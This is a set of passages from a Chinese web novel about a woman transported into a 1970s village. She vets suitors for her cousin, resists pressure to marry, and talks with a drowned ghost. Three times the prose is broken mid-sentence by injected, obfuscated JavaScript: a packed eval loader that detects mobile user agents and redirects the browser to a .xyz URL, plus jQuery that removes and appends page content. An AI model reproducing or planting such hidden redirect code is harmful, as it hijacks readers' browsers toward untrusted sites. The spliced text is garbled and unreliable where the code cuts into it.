如果四堂哥一直不去投胎,可钟颖总会有嫁给别人的时候啊,夺妻之仇不共戴天,哪个男人能不气得要杀人?李长贵想着,不禁打了个寒颤,他堂哥现在是甘霖河里的水鬼,比他可厉害多了,弄死个人容易得很,可阴差们说过了,乱杀人是要进畜生道的! 李长贵越想越觉得是他的责任,他一定要劝四堂哥放下钟颖早日投胎。 “哥,我说话可能不好听,但忠言逆耳,”李霖时苦口婆心,“人鬼到底是殊途,你读书比我多,肯定知道的比我多,哪有一个有好结果的?身死,生前事就都一笔勾销了,你强留在人世间也是抓不住的,与其以后亲眼见着了再难受,不如现在就和我一起去投胎吧……” 李霖时被他念叨地头疼,就没一句中听的,连那点子的不舍都被他念叨没了,“你走你的,别管我。” 李长贵只好不再劝,只多说了一句,“那我先去投胎,你来做我弟弟,正好和今生掉个个。” 他催得隐晦,要是弟弟的话可不能拖太久,不然那不就到儿子辈了。 不过要是能有他堂哥这么个出息儿子,好像也还不错,李长贵忍不住想。 控制自己脱缰的思绪回来,李长贵向最后一个能看见他的曹芳道别,“大伯娘,谢谢你在颖山上抓着我逃命。” 为了表示谢意,李长贵想起曹芳最挂心的事就是钟妮的婚事,生产队的适婚青年和他差不多年纪,同龄人平日里接触也多,他思索一番后说道,“大伯娘你要是看女婿人选,我劝你把刘丰收那家伙去了,这就是个色胚子,满脑子的下流想法,他哥刘广田都比他靠谱。” 曹芳一惊,“真的啊?” 她还真不知道。 李长贵肯定的点点头,但不好解释是解手时听刘丰收瞎咧咧的,他净说些哪个女孩的屁股翘、谁的胸大之类的话。 曹芳感激地看着他,“多谢你和我说这个,我就怕我家妮儿没能嫁个好人。” 李长贵笑笑,随后和牛头马面一起离开。 他走后,同甘生产队众人依旧过着平淡朴素的生活,就连河里的水鬼都像是跟着李长贵一起离开了似的,好些日子钟颖都没见到他,不过她也没在意,每天上工做点除草、浇水的活儿,再就是和大伯娘一起相看青年。 因为适龄的只有六位选手而不是一百零一位,大伯娘的选婿006又在“初选”时淘汰两位选手,第一位是因自身原因“退赛”的李长贵,第二位则是被选手揭发色胚本性的刘丰收。 仅剩的四位选手分别是十九岁的聂小龙,他娘是村子里的胡打听,二姐聂金凤是队长李明的二儿媳; 色胚他哥刘广田,今年二十岁,在刘家五子一女中排行老三; 知青一,程彬,二十三岁,淡颜系小帅哥; 知青二,仇玉才,二十四岁,总是戴着一副眼镜。 发起人曹芳自己又划掉了一个人选,“仇玉才这个青年我看不行,年纪大了些,个子不高,干活也不行,在地里干一会儿就脸色发白,回知青点要躺好久才缓过来。” 钟颖了然,给这人在心里打上一个“低精力老鼠人”备注。 所以由钟颖这个“导师”来考核的就剩下三位选手。 钟颖也是认真观察了小半个月,以严谨认真的态度开始了考核。 “欢迎来到‘这个男孩能嫁吗’比赛。”钟颖找了个河边僻静的地方,以地面为黑板,拿着木棍唰唰写下这几个字。 曹芳弱弱的说,“大侄女,你不用写了,我不识字。” 钟颖动作一顿。 扔掉木棍,钟颖转过身来,镇定自若地说,“大伯娘,先说说你觉得最不错的人吧。” 曹芳兴奋起来,“我觉得聂家那小子就不错,年龄和我家妮儿正相当,个头说是有176,不算太高也不算太矮。他是他们家的幺儿,他娘是要跟着大儿子一家生活的,等小龙结了婚一定是要分家单过的。” 钟颖先是不置可否的点点头,“好,让我们来看看这个男孩能嫁吗?” “一条一条来,个头说是有176,”钟颖是冷漠无情的屠龙刀,“男人的身高,过五减四,低五为零。176,过五,所以撑死也就一米七二。” 曹芳张开嘴,想要说点什么。 钟颖抢在她前面说,“大伯娘你飘久了,对人的身高可能有点没概念。我比过了,我家门框子当初做的是一米八高,我弟钟信大概离门框顶就差一个头的距离,他站在聂小龙身边只矮了一个巴掌那么宽。” “所以聂小龙和我差不多高。”钟颖说出定论。 曹芳一下子get到了,她看着钟颖,一脸难言,“你一个姑娘家这个头是挺高的了,但男的这么高就有点……” 钟颖继续分析,“家里幺儿——大概率被惯得不像话。” 河水中,李霖时悄悄浮到近些的位置,对这话不太赞同,他也是家中幺儿,要论被惯得不像话,他自觉是比不过钟颖的。 “而且我也亲身调查过了,”钟颖一昂下巴,“娘宝男,确认无疑。” 曹芳疑惑的重复了一遍这个新词,“娘宝男?” 钟颖简单的解释了下,“就是凡事都觉得娘说的对,有事没事就喊娘。” “这不是没主见吗?不行,这样的可不行,”曹芳皱眉,“我见过这种男人,真要是媳妇和娘吵起来了,铁定站在娘那边拉偏架!” 钟颖一挥手,“下一个。” 曹芳说起第二个女婿人选,“刘广田这孩子跟你爹一样,是个老实本分的,而且自己还有门手艺,跟他大哥刘福顺、二哥刘满仓一起给人盖房子,我看他也不错。” “老实本分,”钟颖开始划重点,“换句话讲就是内向。” 曹芳张嘴就想再举例说钟颖她爹。 钟颖知道她想说什么,“对,我爹也内向,不然你以为我弟那个小内向是随的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526263|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁?总不可能是随我娘。” 曹芳哑口无言,也是,要说随了妯娌邓霞的那肯定是钟诚和钟颖俩孩子,小的那个钟信这么说来还真是像爹。 不过i人嘛也没什么不好,她们e人的小玩具,所以钟颖也没揪着这点多说什么,“我看钟妮也是这种性格,两个人都腼腆内向,就怕有话都憋在心里不说,还有的磨合。” 曹芳点点头。 “和大哥、二哥一起给人盖房子,副业发展和亲戚掰扯在一起,很容易发生矛盾。”钟颖摇摇头,“刘家孩子多,刘广田还有两个弟弟一个妹妹,大家庭啊。” 曹芳深以为然,她心里把刘广田这青年排在第二位也是顾虑这个,兄弟姊妹多了,再加上妯娌妹夫的,一大家子人,怎么可能没有些磕磕绊绊。 “再就是队里的那个知青,叫程彬的青年,人长得好,又是文化人。”说起这个人选时,曹芳迟疑的瞟了一眼钟颖,“就是……我本来是想把他留给你的,你之前不是……” 曾经钟颖对这知青的示好,曹芳是看到过的,所以即便这青年人还不错,她也是把他放在了末位。 “我可不要。”钟颖毫不在意的摆摆手,“大伯娘你没见我都多长一段时间没往前凑了。”谢邀,勿que,姐独美中。 曹芳松了口气,“那这个青年总没问题了吧?” 钟颖冷漠无情的吐出一个字,“不。” “‘知青’这个身份就是最大的雷。”钟颖说道,“到底是城市里的人,只是暂时下乡来支援农村建设,只要有机会这些知青肯定像抓住救命稻草一样回城的。” 曹芳讶然,“就算是结了婚也回去吗?那媳妇孩子就不管了?” 钟颖只无声的看着大伯娘,点了下头。 她是知道之后历史的,十年后的知青返城潮不知有多少知青抛妻弃子、抛夫弃子…… “不过……”钟颖若有所思,“换个角度想,这却是很适合去父留子的天选之人啊……” 只享用男人二十到三十来岁的最佳赏味期,等男人走的时候反正孩子也长成少年了,以后还不用伺候糟老头子,要不是钟颖没有一点想生孩子的心,她都要心动了。 不像钟颖是现代女性思想,曹芳的思维还很传统,她连连摆手,“那怎么能行?还是要两口子一直和和美美相伴终老才行。” 这个不行、那个也不行,曹芳忍不住的发愁,“怎么一个两个都有点缺点?难道只能矮子里面拔将军吗?” 钟颖惊喜,“恭喜你!发现了婚姻的本质!” 曹芳现在是听到这种俏皮话都笑不出来。 “不过我们也只能是调查,”钟颖说,“重点还是要看钟妮,不是我们觉得好的青年,她也觉得好。” 钟妮才是发放登顶为婿“通行证”的关键人物。 钟颖问,“要我和钟妮旁敲侧击说说这几个青年吗?看看她什么想法?” “……让我再想想。”曹芳犹豫过后还是拒绝了,这是她的执念,不给闺女掌眼挑个好的怎么能行? 曹芳满脸忧愁的飘走了,钟颖留在原地,发现了河里偷听的“小美男鱼”。 “哟,好久不见啊。”钟颖走到河边蹲下,和他打了声招呼,又从口袋里掏出一块小木牌,“你堂弟的牌位我已经烧了,你的那块怎么处理?我也扔火里当柴火烧了?” 对于木头来说,这是最好的毁尸灭迹的方法。 “……扔给我。”李霖时只从河里露出个头,言简意赅的说。 钟颖把手里的木牌抛给他,就见李霖时抬手接住后就又消失在河里。 河面上只余下凌乱的涟漪。 钟颖摸不着头脑,站起身来喃喃一句,“莫名其妙……也不去投胎,神出鬼没的,也不知道在躲谁?” “颖姐——” 钟颖闻声回头,只见钟妮抱着一盆子衣服快步走过来,她也连忙拿起放在一旁地上的盆子,她们约好了一起洗衣服。 “走吧,我们去那边找块大些的石头……”钟颖走过去挽住钟妮的胳膊。 阳光下,女孩们年轻的背影显得格外鲜活灵动。 木牌不过巴掌大小,比起第一版还要小了一圈,上面刻着小小的方块字「亡夫李霖时之位」,苍白的手骤然合拢,攥住木牌的修长手指完全掩盖住它,挡住上面那几个触目惊心的文字。 28. 危矣 进入八月,田间地头的农作物一片茂绿,有条不紊的茁壮成长着,自开春就一直忙碌着播种春小麦、到了夏天又抢收去年种下的冬小麦、抢种夏玉米、交粮,忙碌了大半年的人们终于能歇口气了,在迎来下一个繁忙的秋收时节前,八月只要做好田间的管理与防汛就行。 趁着农闲时分,人们走亲访友,有去看丈母娘的、也有出嫁女儿回娘家的,隔壁范五家的范大妮也挺着怀胎三个月的肚子回来了。 聂英激动的迈出家门来迎女儿女婿,她看看牵着大外孙女刘同月的范大妮,又看看抱着二外孙女刘同星的刘满仓,喜不胜收,“回来了,好,回来娘给你们做顿好的,才分了粮家里正不缺吃的……” 范五站在家门口也乐呵呵的捏了一把女婿的胳膊,“又壮实了点。” 刘满仓长相憨厚,只老老实实回答,“干活干的。” 就算是同在一个生产队里,范大妮这个出嫁的女儿也不好常回娘家,这次专门回来看看爹娘、妹妹们,她心里止不住的高兴,“二妮越来越有大姑娘的样子了,再过半年就要嫁人了;招娣、绝艳,你们两个也长高了……” 范二妮忍不住羞红了脸,范招娣和范绝艳则双眼亮亮的看着大姐。 隔壁这么热闹,邓霞从家里出来,靠在大门边上,“大妮回来了啊。” 邓霞只是对聂英有意见,对几个孩子没啥意见,哦去掉老三,范招娣这小妮儿和她娘简直是一模一样的讨人厌。 钟颖撑在她娘肩上,探出个脑袋往外看,嚯,隔壁门口可真热闹,好多人啊。 红糖从人的腿边硬是挤出个大黑脑袋,见外面这么多人,立刻大声吠叫起来。 邓霞直接腿一夹,红糖被人制裁,顾不上叫了,只呜咽一声,用力把脑袋拔回去,小跑着回到院子里,离人远远的。 范大妮温和的朝隔壁打招呼,“钟二婶娘,颖妮儿。” 对比起来,聂英就显得嚣张多了,“钟老二家的,你自家没这么热闹吧?也就只能看看别人家了。” 聂英嘲讽过后,还不忘炫耀,动作矫揉,将众人的目光全部引到范大妮的肚子上,“我看大妮的肚子尖尖,这胎说不准是男娃儿呢。” 刘满仓嘴角控制不住的上扬。 范大妮却扯了一把聂英,压低声音急道,“娘,你说这干嘛?我都还没怎么显怀呢!” 显不显怀又怎样,聂英就只是为了点出事实炫耀一把,论结“果”她是不比隔壁的邓霞,但她“花儿”朵朵开啊,质量虽然比不过,但数量上远超了啊。 范招娣也在一旁帮腔,“大姐,我也觉得你这胎肯定是男娃儿!” “你厉害,”邓霞冷哼一声,对着聂英说,“三个月连盘坡口最厉害的老神医都摸不出来是男脉还是女脉,你就又知道了?” 不等聂英反击,邓霞大腿边又冒出了一个小脑袋,这次是钟国强,他本来在院子里挖坑挖得正欢,一扭头看他奶、他姑都站门口,立刻扔了手里木棍过来看。 邓霞微微一笑,“大孙子,没什么好看的,咱们回家。” 她着重强调在前面三个字上,不就是男娃吗?她家里就有,还用得着眼馋别人家? 聂英想气邓霞来着,反倒把自己气得不行。 其实一开始邓霞是没把这挑衅看在眼里,她回去后继续先前在干的活儿,用院子里那口石磨把分的粮食磨成粉。 一边推着磨往前走,邓霞一边控制不住自己思维的想着。 隔壁范五家两口子加上还没出嫁的三个闺女,大妮结婚带了女婿和两个女儿回来,还有她肚子里揣着的那个,加在一起……邓霞默默算了算,好家伙,足足有十口人了。 邓霞推着磨走了一整圈,环顾自家小院。 闺女钟颖在旁边给她往石磨里加麦子,国强在一边玩泥巴,儿媳妇苗素云在厨房做饭,老钟带着小儿子钟信去地里干活了,大儿子更是远在天边。 邓霞突然觉得她家确实冷清了些。 “我女婿在哪儿呢?”邓霞想着,话就说出口了。 钟颖一激灵,怎么冷不丁冒出来这么一句?吓死人了! 邓霞却是一下子来了劲,“算算你今年都二十一了,虚岁二十二,过了年就二十三了!可耽误不得了,要不是出了李家那小子的事,你现在早定亲了!不行,等下午我就去找胡打听,带上磨好的白面,让她帮忙好好寻摸寻摸!” “你放心,娘知道你喜欢啥样的,我肯定都和胡打听交代得仔仔细细!”邓霞脑海中又浮现出几个人选,“还是说你想要程知青?哎呀,前两天粮站那验质员也很年轻,我觉得也挺好,就是嫁过去远了些……” 邓霞的语气简直像是在说商场里的棒棒糖,问闺女想要哪个味的,好似说的不是“程知青”,而是“橙子味”。 钟颖听得心惊胆战,顾不得放麦子,先拉住她娘,“娘,我的娘咧!这事急不得啊——” “怎么不急?等翻过年去,那赖混子肯定又要拿你说嘴、说你是老姑娘了!”邓霞替她着急。 “娘,我……”钟颖把“不想结婚”四个字咽了下去,好歹记得现在是什么年代,她大脑急转,飞快的又想了个借口,“李霖时的事才过去了两个月,你现在找胡打听给我打听对象,让生产队的人知道了肯定要说闲话。” 这才让邓霞发热的脑子缓和了些,她迟疑,又试图挣扎,“可你和他又没有定亲,就算是定亲了,男方死了也没有要求女方给他守多久才能再找的……” “这不是情况不同吗,在其他人眼里可是他为了救我搭上的性命。”钟颖说。 邓霞不情不愿的问,“那要给他守多久?” 钟颖焦灼的咬着手指,“半年?一年?” 她想,这哪是给李霖时守着,这分明是她作为一个独立的人还能存活的期限。 “半年吧。”邓霞盖章定论,“正好翻过年去,到时候大家也把他忘得差不多了。” 邓霞心里发愁,翻过年去钟颖就二十二岁了,和她同龄的、还没有定亲的青年可真就不多了,怕是要往小里找。 钟颖也发愁,现在都八月了,这一年可就只剩下四、五个月了,她危矣! 苗素云做好饭,擦着手走出厨房,“娘,我去喊爹和信子回来吃饭——这是怎么了?” 她怔住,看着这娘俩一个两个脸上都闷闷不乐的。 整顿午饭钟颖都是食不知味,一个她一直不愿去想的问题,现在逼着她必须要去面对了,这不是观念开放的现代,不是她想不结婚就可以不结婚的。 哪怕邓霞再宠爱她,钟颖想,她娘也是接受不了闺女不结婚的。 可要让钟颖低头,接受必须结婚的事实,她想想村子里的那几位适龄青年,实在是有点窒息。 都说忍耐力强的、或者脑壳昏了的女人才会结婚。 忍?钟颖表示忍不了一点。 她的头脑也很清明。 所以此刻钟颖很清醒的头痛着。 可这种头痛,钟颖不可能和邓霞说,她娘的三观受限生存在这个时代方方正正的“盒子”里,钟颖的想法、观念只会被扣上“离经叛道”的帽子,甚至邓霞还有可能找人来给她“驱驱邪”。 找嫂子苗素云也是同理,一样的。 明明现在拥有的家人远比现代时要多,钟颖却在此刻仍然感觉到了一种孤独。 “我出去拾柴火。”吃完饭后,钟颖闷声和家里打了个招呼就背起院子角落里的筐子,埋头往外走。她必须要赶快出去,她已经要喘不动气了。 可离开家后,钟颖站在路上,两眼茫然,一时竟不知该去哪里。 去找大伯娘?可大伯娘有自己的孩子要看顾,做不了知心大姐姐,恐怕也是理解不了她。 钟颖在原地站了好一会儿,才抬脚向河边走去。 大中午的河边没人,钟颖也没朝水里张望,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531142|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓鬼在不在,她只是想找个没人的地方让自己透口气,也不知道是不是每个穿越的人都要经历这么一遭,现代的灵魂与过去观念的碰撞,看是东风压倒西风、还是西风盖过东风。 要么被时代同化,尽量不再去想现代的一切,顺应当下的观念,闭上眼、蒙住耳,还能活下去;要么就是撞个头破血流,宁死不屈。 钟颖长长的叹了口气,“原来我和李长贵的处境也没什么不同啊……” “李长贵被困在他爹娘的控制下,而我,”钟颖苦笑一声,“而我是困在这个时代的条条框框下。” 她咬牙,恨恨的说,“为什么女人就一定要到了年龄就结婚?” “你不想结婚?”河里冒出一个脑袋,湿漉漉的黑发滴下一颗水珠,自他高挺的鼻梁坠落河面。 钟颖看着河里的李霖时,“我二十七岁了都还没有一点结婚的念头。” 反正这鬼都知道自己的底细了,别的人又看不见他,简直是最好的树洞,钟颖继续说,“我知道,在现在这个时代简直是‘骇人听闻’。” 李霖时沉默,“骇人听闻”倒不至于,“闻所未闻”更恰当些,二十七岁,一般都是三、四个孩子的娘了。 “但在以后这是很常见的事情,结婚不再是人生的必答题,”钟颖说着,“女性拥有选择的权利,结婚或是不结婚,都只是个人的选择,而不再是被父母、社会推着往前走。” 钟颖怀念起现代,一时丧气起来,“要不你还是把我鲨了吧,要我在这个时代找个男人结婚,不如现在就杀了我。” “为什么不想结婚?”李霖时问,她和原先的“钟颖”有时像,有时又不像。在结婚这件事上就是截然不同,原先的“钟颖”恨不得立刻马上嫁给他,现在的钟颖恨不得立刻马上死也不想嫁人。 “不想嫁给像我爸一样的男人,不想成为像我妈一样的女人,不想生像我一样的孩子呗。”钟颖耸耸肩,淡然说道,没有任何思考的停顿,显然就是她的真实想法。 李霖时目光幽深的看着她,仿佛要把她看进眼底深处,他面容正色,极为认真的盯着她说,“你很好。” 她一句话否定的不只是父母,还有她自己的存在。 但李霖时是真的觉得,她很好。 “啊?”钟颖一时怔忪,片刻后她突然觉得有些局促,视线不自觉地回避,左看右看,落到脚边一株小小的植物上,嫩绿的叶子因她刚刚无意识的触碰合起来,钟颖看着,这一刻竟也想像它一样把自己蜷缩起来。 但钟颖强压着自己恢复如常,他搞什么啊,突然这样一脸认真的说这种话。 冷静下来后,她把自己刚刚的不对劲归咎于“突然”两个字上。 她爸永远觉得她不够好,她妈希望她能够再好一点,钟颖卷生卷死为的就是一句肯定,虽然在她猝死前她已经醒悟,不再追逐别人的一句肯定,但在已经彻底放弃后,却又突然得到,换做是谁都会手足无措吧,太突然了。 钟颖挠了挠脸颊,“额,谢谢?” 她想起原本钟颖身上那种高配得感,不确定的语气瞬间变得有底气多了,“我也觉得我很好。” 钟颖不想再停留在这个话题上面了,她顾左右而言他,换了个事说,“你晚上没事的时候再来我屋里坐坐呗?” 过了大暑天气越发的热了,钟颖夜里热得睡不着,很是想念空调。 李霖时见她脸上的萎靡和苦闷刚一扫而空,就又说出这种话,他一阵无语,“……你是属猴的?” 他就没见过这么能得寸进尺的女孩。 钟颖没听出他的言外之意,奇怪的答道,“不是啊,我属虎的。”就算是按当下的身体来算,她也是属猪的呀,他怎么会觉得自己属猴? 李霖时唇抿紧,黑沉沉的眸子看她一眼,就又向后倒进了河里。 “不答应就不答应呗,”钟颖嘀咕,“生怕我对你做什么似的,跑这么快。” 29. 祸害 砬弯沟生产队的王媒婆接连跑了好几家帮人说和,明明是农闲时分她却比别人都要忙,不歇脚的又走来了同甘生产队,和人打听过钟春生家在哪儿后,便朝着那人指的方向走去了。 林淑红指完路,转身走向村口的牲畜棚。 胡打听脸上系了一块布巾正在猪圈里清粪,胳膊肘被人撞了一下,手里的粪勺差点儿掉进粪坑里,她扭头怒目而视,“刘强家的你干啥?” 林淑红也带上了一块方巾掩住口鼻,“你猜我刚碰到了谁?砬弯沟的王大巧!” “她?她来我们生产队干嘛?”胡打听立刻不追究刚刚的事情了,追问道。 “还能来干啥啊?”林淑红说,“肯定是来帮人说亲呗,她向我问的是钟老大家的住址。” 胡打听立刻想到了什么,“给他家钟妮说亲?” 同行对同行,背后放一枪。 “她能说得哪门子的好亲。”胡打听不屑,她倒不是故意在背后说王大巧的坏话,她是真的看不上对方的行事。 另一边王大巧已经迈过了钟秋收家大门的门槛。 钟妮背着筐子正要出门去割草,就见一个方脸婆子走进自家小院,看着她笑眯了眼,“你就是钟老大家的钟妮吧?” “对,您是?”钟妮看她脸生,迟疑的问。 “我是来给你说个好去处的!”王媒婆乐呵呵的说,“你爹在家吗?” 钟妮闻言立刻面露羞意,“我爹在屋里。” 屋里的人听到说话声,立刻走了出来。 王媒婆见到钟秋收,把自己刚刚说过的话又说了一遍,“钟老大,你家妮儿还没找主吧?我来给她说个好地方!” 钟妮已经自觉避开,走出了家门。 曹芳想了想,还是第一回主动飘回钟秋收身旁,她这个当娘可要听听媒婆怎么说。 本该出门干活的钟拴柱好奇的想要多听几句,却被他爹撵了出去,“你一个孩子听什么,快去干活,帮我和队长讲下午沤肥我请个假就不去了,家里来客了。” 钟拴柱只能离开。 屋门大敞的堂屋里只余王大巧和钟秋收两人,再加曹芳这个人看不见的鬼。 “我是受砬弯沟庄老四家的所托,来给她家小子说媒。”王媒婆简单说完就开始拉近关系,“我们砬弯沟的胡坤欣,是你们生产队胡打听她大姐。” “庄老四家的小子是在收粮路上注意到一年轻姑娘,觉得这姑娘吃苦耐劳,回去就和他娘说了,她娘回去生产队里一打听,才知道这姑娘是你家的妮儿,这不就托我来说和了?” 做惯了媒婆事的人都是嘴皮子利落,王媒婆继续说,“这小子可真不错啊,方圆几十里都选不来的好去处!他爹原先是个瓦匠,农忙时种地、农闲时帮人补个屋顶什么的,九年前生病没的。青年有两个姐姐,都已经出嫁了,现在家里就剩他和他娘。一个独苗,没有兄弟,不用分家,家产都是他的。” 钟秋收神色已经有些意动,“这么好的条件,这青年多大年纪了?” 王媒婆立刻又介绍起个人详细情况,“和你家妮儿同岁,一米八的大高个!脸生得白净,很爱笑,一看就是好脾气的青年!” 要换做之前,曹芳听了怕是也要心动,但她听着听着,脑子里竟随着王媒婆的话响起钟颖的声音,“过五减四、低五为零”…… 王媒婆继续加码,“男方家里就看上你家妮儿的吃苦耐劳,觉得这是个踏实姑娘,”王媒婆继续加码,“所以他家愿意出六十元的彩礼钱!” 钟秋收的心狠狠的跳了一下,六十元! 农村人家一般也就能出个二、三十元的彩礼钱,这两三年又受社会风气影响,主张结婚不搞彩礼嫁妆那一套,很多人家谈婚事时便会拿此作借口,逃避出彩礼钱。 六十元!看来男方家很有诚意啊! 钟秋收如此想到,给自己的为钱心动盖上了一块遮羞布。 曹芳听到这儿却眉头蹙起,处处都太好了,反倒令她惴惴不安。 “你就这么出来了?你就不听听媒人会说什么?”钟颖停下割草的动作,惊讶的睁大了眼睛,难以置信的看着钟妮。 钟妮不好意思,“哪有姑娘家会听自己的婚事……” “那你爹要是就这么同意了怎么办?你都还不知道对方是圆是扁!”钟颖震惊。 钟妮不解,“婚事不都是爹娘说定的吗?我之后总会知道的呀。” 钟颖也不理解,嘴角颤动说不出话来,一言难尽。 她没在钟妮身边看到曹芳,看来大伯娘是留下听听媒婆怎么说了。 钟颖看着面前的年轻女孩,深觉这“小封建”的思想亟待转变,她深吸了一口气蓄力。 “万一媒人说男方面丑如猪、个头只有一米五,嘴歪眼斜,说话结巴……” 钟颖每说一句,钟妮的脸色都变得苍白一分,她脑海中几乎随着堂姐的话勾勒出一个具体的形象。 “这种我爹怎么可能会同意……”钟妮“垂死挣扎”。 钟颖气都不带喘的继续说,“媒人说这些不过都是小问题,男方家里愿意出一大笔彩礼钱,几十元甚至上百元,你爹不会心动吗?” 钟妮哪里不知道自己爹是什么样子,她颤抖着唇,“……会。” “当然媒人来上门说亲肯定是往好里说,”钟颖安慰的按住钟妮瘦削的肩膀,“我说这些只是想让你知道,你也别太蒙住眼、遮住耳了,盲婚哑嫁堪比押注,你自己已经押上桌,要真等结了婚才知道对方是个什么样的人,你能承担起后果吗?” 钟妮只觉她的世界仿佛被划开了蒙在上面的那层纸,窥见可怕灰暗的未来,如果真是到那一天才知道对方真实的样子,钟妮想,她还能怎么办呢?嫁都已经嫁了,只能认命。 “那我只能认命……”钟妮说出自己的绝望。 钟颖只又问她,“那现在,你想把你的命交到你爹手上吗?” 这句话仿佛透过缝隙照进来的天光,钟妮直直的看着堂姐,直面自己的内心,“……我不想。” 钟颖松了口气,还好,还有救,她可真怕钟妮会被规训成“不、我不听”的顽固愚昧。 “过会儿我会告诉你媒人都说了什么的。”钟颖说,等大伯娘过来她就知道了。 钟妮以为堂姐是要帮自己去打听,双眸亮晶晶的看着她,重重的点了下头。 在王媒婆和陈秋收商定好五天后带着庄老四家的和她家小子一起来女方家见一面,曹芳觉得反正自己是鬼,人也看不到她,也不必遵循什么人的规矩,不等把媒人送出家门,她就抢先一步离开。 大侄女!曹芳着急的飘去找钟颖。 终于在村口割草沤肥的人群中找到了钟颖,曹芳立刻像倒豆子一样把刚刚媒人说的话复述给她听。 割草沤肥,其实就是把田间的杂草割下来,丢进沤肥的池子里,再倒入沸水,最后搅匀,等待发酵成肥料。 钟颖看着人们拿着粪勺站在池子边用力搅拌,一边往前递草,一边憋着气听曹芳说话。 “我越听越觉得不对劲,要是青年真有媒人说的那么好,早就拿乔找借口不给彩礼钱了,哪还会给出六十元这么多?”曹芳看着钟颖说着,突然又想起了什么,“不过你哥当初给你嫂子的彩礼也不少,我记得是有八十吧?这事当时周围几个生产队可是聊了好一阵。” 钟颖趁着其他人不注意,微不可察的点了下头。 等人们把泥土盖在绿肥上面,等待一个夏天的时间,秋后种小麦的时候就可以挖出来用了,这是田间地头的人们上百年传承下来的智慧。 这一天的工作到此就结束了,农闲时候,下午就收工是常事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541853|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钟颖随着四散的人流往外走,等回了家,借着回屋换去身上汗湿的衣服的空档,她这才和曹芳交流,“那八十是我嫂子家要的,我哥这憨货表现得太明显,就被拿捏住了。” 记忆中,当时家里被这八十元掏空了家底。 钟颖也暗自皱眉,“媒人主动提的男方愿意出六十元彩礼,这确实是有点不对劲……” 曹芳眼巴巴的看着她,“大侄女,你脑子灵、主意多,你快想想到底是哪儿不对?我也觉得不对劲,可怎么都想不到是哪里不对。” 不知不觉中,曹芳就把钟颖当作了指南针,颇有点马首是瞻的感觉。 “不去打听看看,怎么知道坑在哪里。”钟颖问,“对方是砬弯沟人对吧?” 曹芳立刻点头,“对,砬弯沟的庄老四家,就他一个儿子。” “行,我娘她好姐妹就嫁在了砬弯沟,本来过两天找个空我娘就打算带我去何姨家坐坐,我正好过去打听一下。”钟颖说。 曹芳感激的看着她,“大侄女,你真是比个男人都靠谱!钟秋收那老东西一听六十就迷了眼!这还是当爹的呢,闺女的事是一点都不上心!” 一口气说完,曹芳失措的抬手捂住嘴,她一时没注意说顺溜嘴了,当着人侄女的面,骂她大伯“老东西”会不会有点不好? 钟颖一脸不在意,“没事大伯娘,我娘骂得比你狠多了。” 在十六年前钟秋收想要对她哥钟诚下手后,两家撕破脸,邓霞不知骂了他多少次,在她家,钟秋收都已经不是个东西了。 他是墙头上跑的马,不回头的畜生;是上宰的老肥猪,挨刀的货;是头顶上长疮、脚底下化脓、三伏天便宜卖都没人要的肉,坏透了的臭货。 钟颖摇头,“大伯娘,骂人你还要学啊,‘老东西’也太轻了。” 曹芳如同被老师点到一般,老老实实垂头答应。 钟颖本以为还要过两天才会和她娘一起去砬弯沟,没想到人算不如天算。 才过了一天,这天下午,照旧是早早收工,邓霞和女儿、儿媳妇刚到河边开始洗衣服,就听胡打听喊她,只见胡打听一边小跑着过来,一边说,“钟老二家的,你不是和杨老五家的关系好,她男人喝酒把自己喝死了!” 邓霞一惊,立时站起身来,衣服扔在石头上,惊愕道,“死了?” “对!就刚刚的事!我刚打听到的!”胡打听缓了缓气息,“说是今天人就没去上工,生产队的人都以为他又是喝醉酒不知道倒在哪里睡大觉,他们砬弯沟生产队的队长气得要命,一下工就去找他算账,结果在粮仓后面的草丛里才找到人,人都凉透了!” “那我要赶紧去安慰宝琴!”邓霞擦了擦手上的水,急急的就往外走。 苗素云连忙扭头对钟颖说,“小妹,你快跟着娘,别让娘走这么急,小心路上再摔着!衣服放这儿我来洗就行。” 钟颖点点头,匆匆去追邓霞,她也担心她娘一时心急再出什么事情。 邓霞风风火火一口气走出五、六里地,直到站在一处略显破败的院门前才停住,不等进门,她就朝里面喊,“宝琴,你男人死了啊!” 紧跟着过来的钟颖忍不住小声提醒,“娘,收收你脸上的笑……” 钟颖算是看明白了,邓霞是心急,但她是高兴的心急。 翻了下记忆,钟颖又找到了佐证,她娘不止一次捶胸顿足,从何姨的爹娘骂到何姨的男人。 好闺闺所嫁非人,那这男人确实会是仇人,钟颖瞬间理解了邓霞的喜大普奔。 邓霞脸上抑制不住的笑意猛地收敛。 